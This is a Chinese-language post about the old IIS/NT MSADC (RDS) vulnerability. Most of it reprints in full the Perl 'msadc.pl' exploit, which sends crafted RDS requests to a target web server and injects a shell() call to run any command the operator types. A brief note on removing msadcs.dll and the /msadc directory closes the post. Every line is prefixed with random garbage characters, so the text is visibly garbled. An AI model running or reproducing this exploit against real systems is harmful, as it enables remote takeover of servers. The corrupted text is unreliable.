IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
*p^MAk9= QCw<* Id+ 涉及程序：
W AbhB A Microsoft NT server
U"]i.J1 [-ecKPx 描述：
v( B4Bz2 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
o ++ Hdvai < n{9pZ5. 详细：
jBbc$|O4SY 如果你没有时间读详细内容的话，就删除:
\
PqV| c:\Program Files\Common Files\System\Msadc\msadcs.dll
uItKs u 有关的安全问题就没有了。
w5Xdq_e3 < T]kpP<lC 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
/ '&L M\ sJWwkR 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
O"Q=66.CR 关于利用ODBC远程漏洞的描述，请参看:
u 6+ [geY:v_B http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm CiSG=obw kn.z8%^ ( 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
M > < http://www.microsoft.com/security/bulletins/MS99-025faq.asp V*~5*OwB tG-MC &;= 这里不再论述。
*#_jTw Qe S0 `* 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
K]l) z* I plq\D.C /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
14R))Dz" 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
r[~$ y8@!2O4 sBwgl9 #将下面这段保存为txt文件，然后: "perl -x 文件名"
cg5DyQ( ` g~-5Z~J #!perl
5{> cfN\q #
m[f\I^ \%8 # MSADC/RDS 'usage' (aka exploit) script
T$ e_ ao| #
I
f(_$> # by rain.forest.puppy
uu>g(q?4II #
EbQ} w"{ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
*bx cq # beta test and find errors!
*QX$Mo^ E 8
_J:Yg use Socket; use Getopt::Std;
JY,+eD getopts("e:vd:h:XR", \%args);
4/4IZfznX I}X8-WFB print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
;z68`P- =3' wHl if (!defined $args{h} && !defined $args{R}) {
`t
-3(>P print qq~
7o<RvM Usage: msadc.pl -h <host> { -d <delay> -X -v }
;/.Z YTD -h <host> = host you want to scan (ip or domain)
~U|te _l -d <seconds> = delay between calls, default 1 second
_ !C H -X = dump Index Server path table, if available
RjT[y: ! -v = verbose
a/ZfPl0Ns[ -e = external dictionary file for step 5
'};Xb|msU g ;p FT Or a -R will resume a command session
"'Q:%_; ]x|sT Kv2 ~; exit;}
@ ."R9s /% )J+K) $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
rZEu@63 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
xM:dFS if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
.1@5*xQ5O if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
<+a\'X c $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
e/6oC~#] if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
3-05y!vbcE VYBl0!t if (!defined $args{R}){ $ret = &has_msadc;
cmTZ ))m die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
epnDvz\ g5.Z B@j print "Please type the NT commandline you want to run (cmd /c assumed):\n"
]WG\+1x9 . "cmd /c ";
.jCdJ
=z $in=<STDIN>; chomp $in;
4ZIXG,@mZJ $command="cmd /c " . $in ;
&}]Wbk4:
n;U|7it7 if (defined $args{R}) {&load; exit;}
3Wiu`A K"#}R<k8:A print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Ii)TCSt9U? &try_btcustmr;
wv<"W@& 9 XxIU B(.QI print "\nStep 2: Trying to make our own DSN...";
7Q`4*H6 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
AXyuXB *VH1(E`hl print "\nStep 3: Trying known DSNs...";
>g?,BK@ &known_dsn;
P|\,kw>l mUjA9[@ print "\nStep 4: Trying known .mdbs...";
oDC3AK& &known_mdb;
<AVpFy W `Soa&9 if (defined $args{e}){
ZA!vxQ?P, print "\nStep 5: Trying dictionary of DSN names...";
Q~9:}_@ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
J wO+Dd m*'#`v Ibb print "Sorry Charley...maybe next time?\n";
%63<Iz " exit;
dG| iA] =X`/.:%|[ ##############################################################################
/<})+=>6f Zy'bX* s| sub sendraw { # ripped and modded from whisker
0zd1:*KR, sleep($delay); # it's a DoS on the server! At least on mine...
i@2?5U>h my ($pstr)=@_;
vF_?1|* | socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
0iYe>u die("Socket problems\n");
xZk LN5I{ if(connect(S,pack "SnA4x8",2,80,$target)){
n8?gZ` W select(S); $|=1;
|peZ`O^ ~ print $pstr; my @in=<S>;
3Ry? {m^ select(STDOUT); close(S);
lY~xoHT;[ return @in;
,Zdc } else { die("Can't connect...\n"); }}
t~Uqsa>n@' Ei#"r\q j_ ##############################################################################
8Hhe&B e0 D;]
sub make_header { # make the HTTP request
!v^D
j'] my $msadc=<<EOT
K1Tzy=Z9j POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
x*YJ :t User-Agent: ACTIVEDATA
=$HzEzrw Host: $ip
gAE}3// Content-Length: $clen
eC1cE Connection: Keep-Alive
X \ h]N p5*i
d5 ADCClientVersion:01.06
39OZZaWL Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Bp}<H<@ "8-]6p3u --!ADM!ROX!YOUR!WORLD!
43/|[ Content-Type: application/x-varg
x>t:&Y M Content-Length: $reqlen
UZ<!(g. _uRgKoiy EOT
W4Eo1 E ; $msadc=~s/\n/\r\n/g;
y"7?]#$9/ return $msadc;}
6rRPqO
j bSmRo ##############################################################################
?vZ& CB sl)_ HA7G sub make_req { # make the RDS request
0n1y$*I4 my ($switch, $p1, $p2)=@_;
Gm*i='f!? my $req=""; my $t1, $t2, $query, $dsn;
sI~{it# HMBxj($eR if ($switch==1){ # this is the btcustmr.mdb query
VQX#P< $query="Select * from Customers where City=" . make_shell();
6OVAsmE $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$
@^n3ZQ4 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
QutQG PPohpdd) elsif ($switch==2){ # this is general make table query
n&@\[,B $query="create table AZZ (B int, C varchar(10))";
Qd@` jwjS $dsn="$p1";}
L%<1cE)) j88H3bi0 elsif ($switch==3){ # this is general exploit table query
7)[4|I $query="select * from AZZ where C=" . make_shell();
iX4/;2B=, $dsn="$p1";}
I@[.W!w -0>@jfP^D elsif ($switch==4){ # attempt to hork file info from index server
Y2Tg>_:t $query="select path from scope()";
] e+S ~me $dsn="Provider=MSIDXS;";}
JK,k@RE y] Jei W
z1t elsif ($switch==5){ # bad query
9ah, a 4 $query="select";
"5vFa7y $dsn="$p1";}
B&tl6?7h $ZE OE8.\ $t1= make_unicode($query);
[*,`a]z-Q $t2= make_unicode($dsn);
27;*6 />, $req = "\x02\x00\x03\x00";
b-ZvEDCR $req.= "\x08\x00" . pack ("S1", length($t1));
/ VJ[ 1o^ $req.= "\x00\x00" . $t1 ;
\5J/ ? $req.= "\x08\x00" . pack ("S1", length($t2));
wJ+"JQY.J+ $req.= "\x00\x00" . $t2 ;
TVKuvKH8U $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
5 J 0 return $req;}
xHI>CNC, D7 .R
NXo ##############################################################################
@v |_APy# 0 E bs-kP sub make_shell { # this makes the shell() statement
VN*^pAzlF return "'|shell(\"$command\")|'";}
'*W/Bett GCc@
:*4[ ##############################################################################
c>I^SY(r% zX(p\ NU sub make_unicode { # quick little function to convert to unicode
X1$0'u sS my ($in)=@_; my $out;
A`IE8@&Z' for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
!30 BZM ^ return $out;}
1 [dza5 =`g+3
O;< ##############################################################################
~GMlnA]6 !K_%@|: 7% sub rdo_success { # checks for RDO return success (this is kludge)
> `u} G1T\ my (@in) = @_; my $base=content_start(@in);
MLaH("aen if($in[$base]=~/multipart\/mixed/){
eFbr1IV return 1 if( $in[$base+10]=~/^\x09\x00/ );}
g3j@o/Y return 0;}
:tNH Cx v2dC na\ ##############################################################################
3%'$AM}+s )j!22tl L sub make_dsn { # this makes a DSN for us
NfKi,^O my @drives=("c","d","e","f");
%KRAcCa7 print "\nMaking DSN: ";
Vhv<w
O Ct foreach $drive (@drives) {
] { Iy< print "$drive: ";
Z&YW9de@ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
u|APx8?"o "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
N }Z"$4 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
A{Pp`*l $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
$5|/X&"O)/ return 0 if $2 eq "404"; # not found/doesn't exist
D24@lZ`g~ if($2 eq "200") {
e<>(c7bF foreach $line (@results) {
,+%$vV
.g\ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
8D)2/$NsY} } return 0;}
umK ~K!i u Q. m[y ##############################################################################
rs'~' Y I C37f[Q sub verify_exists {
r `V Kb my ($page)=@_;
,H\EPmNHK my @results=sendraw("GET $page HTTP/1.0\n\n");
BY72 fy#e return $results[0];}
?<
mSEgvu JT, 8/o ##############################################################################
\Ua"gS2L 4 mPCAA7 sub try_btcustmr {
Il>!C\hU my @drives=("c","d","e","f");
} 5FdX3YR my @dirs=("winnt","winnt35","winnt351","win","windows");
\A
Y7 %> td&W>(3d foreach $dir (@dirs) {
~M2w&g;1 print "$dir -> "; # fun status so you can see progress
yiiYq(\{ foreach $drive (@drives) {
80LKxA;5N print "$drive: "; # ditto
#:e52= $reqlen=length( make_req(1,$drive,$dir) ) - 28;
RT 4ns +J1 $reqlenlen=length( "$reqlen" );
\XhzaM
$clen= 206 + $reqlenlen + $reqlen;
%Gv8 ]Yb v 4D F
#O my @results=sendraw(make_header() . make_req(1,$drive,$dir));
ZWxq<& Cg if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
rhsSV3iM else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
TnCN2#BO l+Uy ##############################################################################
>y
&9!G k7 W7S`H
sub odbc_error {
X~G!{TT_x6 my (@in)=@_; my $base;
]8<;,} # my $base = content_start(@in);
$- EbJ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
he;&KzEu $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
MkF:1-=L $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
p{[Ol $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
*O+G}_} return $in[$base+4].$in[$base+5].$in[$base+6];}
/MO|q print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
gyondcF print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
1zl6Rw k^o $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
"(> P= ,GA2K .:# ##############################################################################
]=m
'| 0} udMDE=1~L sub verbose {
V \,Z ( my ($in)=@_;
|Qo;=~7 return if !$verbose;
^Bf@ I print STDOUT "\n$in\n";}
VZ 5EV'D8! d:|X|0#\uH ##############################################################################
CfNHv-jDL |x3.r t sub save {
Gcna:w>6d my ($p1, $p2, $p3, $p4)=@_;
qe8dpI; open(OUT, ">rds.save") || print "Problem saving parameters...\n";
k,LeBCqGcb print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
:
2Ho
close OUT;}
TW8E^k 7 !'Q/9%g ##############################################################################
|<t"O q["CT& 0 sub load {
$*tq$DZ4& my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
%qfql open(IN,"<rds.save") || die("Couldn't open rds.save\n");
mx y > @p=<IN>; close(IN);
zB kS1qMn $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
mp:%k\cF| $target= inet_aton($ip) || die("inet_aton problems");
w O;\,zU print "Resuming to $ip ...";
? 6P
P_QY $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
QWp,(Mv:r if($p[1]==1) {
VImcW;Xa $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
C0|<+3uND= $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
' 5\7>2fI my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
@kw#\%Uz if (rdo_success(@results)){print "Success!\n";}
7@NAk y( else { print "failed\n"; verbose(odbc_error(@results));}}
7aUk?Hf elsif ($p[1]==3){
{+_ pyL if(run_query("$p[3]")){
"T|%F D&[ print "Success!\n";} else { print "failed\n"; }}
!/^i\)j>]( elsif ($p[1]==4){
*,A?lX,9A if(run_query($drvst . "$p[3]")){
dlsVE~_G print "Success!\n"; } else { print "failed\n"; }}
E5(\/;[*` exit;}
q{gt2OWqX 9=p^E# d ##############################################################################
})rJU/ i/N4uq}'A< sub create_table {
:Y`cgi0vkd my ($in)=@_;
![YLY &}s $reqlen=length( make_req(2,$in,"") ) - 28;
tt2`N3Eu\ $reqlenlen=length( "$reqlen" );
?4GI19j $clen= 206 + $reqlenlen + $reqlen;
"E =\Vz my @results=sendraw(make_header() . make_req(2,$in,""));
lS&$86Jo( return 1 if rdo_success(@results);
&^KmfT5C my $temp= odbc_error(@results); verbose($temp);
n>T1KC % return 1 if $temp=~/Table 'AZZ' already exists/;
2iYf)M C return 0;}
gs wp:82e2 tkx1iBW= ##############################################################################
;3wj(o0 P #m/b< sub known_dsn {
qPY
OO # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
f< bc8Lp my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
]V \q X+K "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
E$"( :%'v "banner", "banners", "ads", "ADCDemo", "ADCTest");
He^u+N@B =X6WK7^0 foreach $dSn (@dsns) {
0vbiq print ".";
u;rK.3o next if (!is_access("DSN=$dSn"));
uKHkC.g if(create_table("DSN=$dSn")){
;`Eie2y{M print "$dSn successful\n";
c | OIUc if(run_query("DSN=$dSn")){
-h+=^ , print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
O) NEt print "Something's borked. Use verbose next time\n";}}} print "\n";}
VDq4n;p1 k$1ya7-@ ##############################################################################
H. U wM W|XTa sub is_access {
E#?*6/ my ($in)=@_;
S(<r-bV< $reqlen=length( make_req(5,$in,"") ) - 28;
%upnXRzw $reqlenlen=length( "$reqlen" );
EkS7j>: $clen= 206 + $reqlenlen + $reqlen;
q|,cMPS3 my @results=sendraw(make_header() . make_req(5,$in,""));
HO% atE$> my $temp= odbc_error(@results);
bkk1_X verbose($temp); return 1 if ($temp=~/Microsoft Access/);
R
L&z\S return 0;}
-7\R l3c SEsc"l8 ##############################################################################
ENW>bS8 e` "X4L+] "$g sub run_query {
~RGZY/4 my ($in)=@_;
(%*CfR:> $reqlen=length( make_req(3,$in,"") ) - 28;
v3SH+Ej4 $reqlenlen=length( "$reqlen" );
6) {jHnk)
$clen= 206 + $reqlenlen + $reqlen;
AW3\>WC my @results=sendraw(make_header() . make_req(3,$in,""));
h&d%#6mB return 1 if rdo_success(@results);
<>\s#Jf/ my $temp= odbc_error(@results); verbose($temp);
a-w=LpVM return 0;}
Ba==Ri8$ Gu}
`X23 ##############################################################################
`|@# ~ >Hb>wlYR sub known_mdb {
<8#Q5 my @drives=("c","d","e","f","g");
s6Ox !)& my @dirs=("winnt","winnt35","winnt351","win","windows");
Zo`Ku+RL2' my $dir, $drive, $mdb;
VbR /k,Co my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
0 ant0< F r/3Qp@S # this is sparse, because I don't know of many
O9y4.`a" my @sysmdbs=( "\\catroot\\icatalog.mdb",
Vp{e1xpY "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
\7M+0Ul1 "\\system32\\certmdb.mdb",
"J:~Aa%_ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Qx{k_ye`
$%~-p[)<(P my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
0\3mS{s "\\cfusion\\cfapps\\forums\\forums_.mdb",
nk.m G ny "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Z^? 1MJ:` "\\cfusion\\cfapps\\security\\realm_.mdb",
GCS R)i| "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Bc%A aZ0x "\\cfusion\\database\\cfexamples.mdb",
e45gjjts "\\cfusion\\database\\cfsnippets.mdb",
-WiOs;2~/ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
YNV!(>\GE "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
LB*qL "\\cfusion\\brighttiger\\database\\cleam.mdb",
V
mxVE=l "\\cfusion\\database\\smpolicy.mdb",
Ckd=t vL "\\cfusion\\database\cypress.mdb",
x;A"S "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
gD&/ k
"\\website\\cgi-win\\dbsample.mdb",
,M@LtA3g "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
+oKp>- "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Fe8JsB- ); #these are just
EX^}#|e*h foreach $drive (@drives) {
];BGJ5^j foreach $dir (@dirs){
01v7_* 'R foreach $mdb (@sysmdbs) {
4u} "ng
print ".";
|GPR3%9 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
27mGX\T print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
!O=?n<Ex" if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
=@%;6`AVcp print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
I,4t;4;Zk } else { print "Something's borked. Use verbose next time\n"; }}}}}
1~BDtHW7`n jIY
foreach $drive (@drives) {
V=yRE foreach $mdb (@mdbs) {
gp0 7I{0~m print ".";
2kg<O%KA`c if(create_table($drv . $drive . $dir . $mdb)){
:|hFpLt print "\n" . $drive . $dir . $mdb . " successful\n";
+B^(,qKMN if(run_query($drv . $drive . $dir . $mdb)){
]L0GIVI E print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
b~F(2[o } else { print "Something's borked. Use verbose next time\n"; }}}}
xs<~[l }
3#fu; ??1. jG($:>3a@ ##############################################################################
d D6I @N)X _isqk~ ul sub hork_idx {
TMt,\gTd print "\nAttempting to dump Index Server tables...\n";
Nxk3uF^ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
4o,%}bo& $reqlen=length( make_req(4,"","") ) - 28;
>:W 7f2%8` $reqlenlen=length( "$reqlen" );
a[TR_ uR $clen= 206 + $reqlenlen + $reqlen;
IT,d (UV_ my @results=sendraw2(make_header() . make_req(4,"",""));
?39B(T if (rdo_success(@results)){
3f'dBn5 my $max=@results; my $c; my %d;
3$Ecq|4J: for($c=19; $c<$max; $c++){
$*)??uU $results[$c]=~s/\x00//g;
^qNh)?V?]I $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
en\shc{R]` $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
:00 #l]g0q $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
JTT"t@__ $d{"$1$2"}="";}
C;m 7 ~R foreach $c (keys %d){ print "$c\n"; }
X4<!E# } else {print "Index server doesn't seem to be installed.\n"; }}
U?/UW;k[ +r EqE/QF ##############################################################################
D&1*,` |Ad1/>8i sub dsn_dict {
piIr .] open(IN, "<$args{e}") || die("Can't open external dictionary\n");
3Cq/
o' while(<IN>){
Izrf42 >k $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
/Mq]WXq[V next if (!is_access("DSN=$dSn"));
D>& ;K {! if(create_table("DSN=$dSn")){
-fF1vJ7L print "$dSn successful\n";
[~&C6pR if(run_query("DSN=$dSn")){
npcB+6 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
u Qy5t:! print "Something's borked. Use verbose next time\n";}}}
%9.]
bd|%F print "\n"; close(IN);}
tCnx:1 99Xbp P5 5 ##############################################################################
a
}6Fj&hj KM$5ZbCF: sub sendraw2 { # ripped and modded from whisker
NwQexYm1_ sleep($delay); # it's a DoS on the server! At least on mine...
z-(#Mlq:! my ($pstr)=@_;
.H1 kl)~V socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
wg6![Uh die("Socket problems\n");
Lo, z7 "8 if(connect(S,pack "SnA4x8",2,80,$target)){
hK= \O) print "Connected. Getting data";
wk { 9 open(OUT,">raw.out"); my @in;
q|PB[*T select(S); $|=1; print $pstr;
]:* 8
Mb# while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
StUiL>9T# close(OUT); select(STDOUT); close(S); return @in;
)tQG5.to } else { die("Can't connect...\n"); }}
e'<pw^I\ 6T%5vg_};' ##############################################################################
Y.$InQ gL bS
'a ) sub content_start { # this will take in the server headers
D;bQ"P-m47 my (@in)=@_; my $c;
jRz2l`~7# for ($c=1;$c<500;$c++) {
c"ukV_6~J if($in[$c] =~/^\x0d\x0a/){
p'afCX@J if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
)"7hyW 5 else { return $c+1; }}}
\=+ s3p5N return -1;} # it should never get here actually
\ iL&Aq}BO U\ S%Jq* ##############################################################################
uM0!,~&9| 0x'-\)v>3 sub funky {
i<D}"h| my (@in)=@_; my $error=odbc_error(@in);
%hK?\Pg3=E if($error=~/ADO could not find the specified provider/){
gi`K^L=C print "\nServer returned an ADO miscofiguration message\nAborting.\n";
4XL*e+UfJ exit;}
]2n&DJu if($error=~/A Handler is required/){
t +0&B" print "\nServer has custom handler filters (they most likely are patched)\n";
f~Dl;f~H_; exit;}
.%+`e if($error=~/specified Handler has denied Access/){
xG<H${
k; print "\nServer has custom handler filters (they most likely are patched)\n";
:" ZH exit;}}
u>;#.N/ S=O/W(ZB ##############################################################################
-&Fxg>FrYb %UJ! (_ sub has_msadc {
gnbs^K w my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
.vRLK my $base=content_start(@results);
&J|3uY,'j return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
3j.Ft*SV return 0;}
9GS<d.#Nvc Cna@3)_ ########################
dN> XZv W38My j! Auhw(b>}TW 解决方案：
w<_.T# 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
fys@%PZq 2、移除web 目录: /msadc
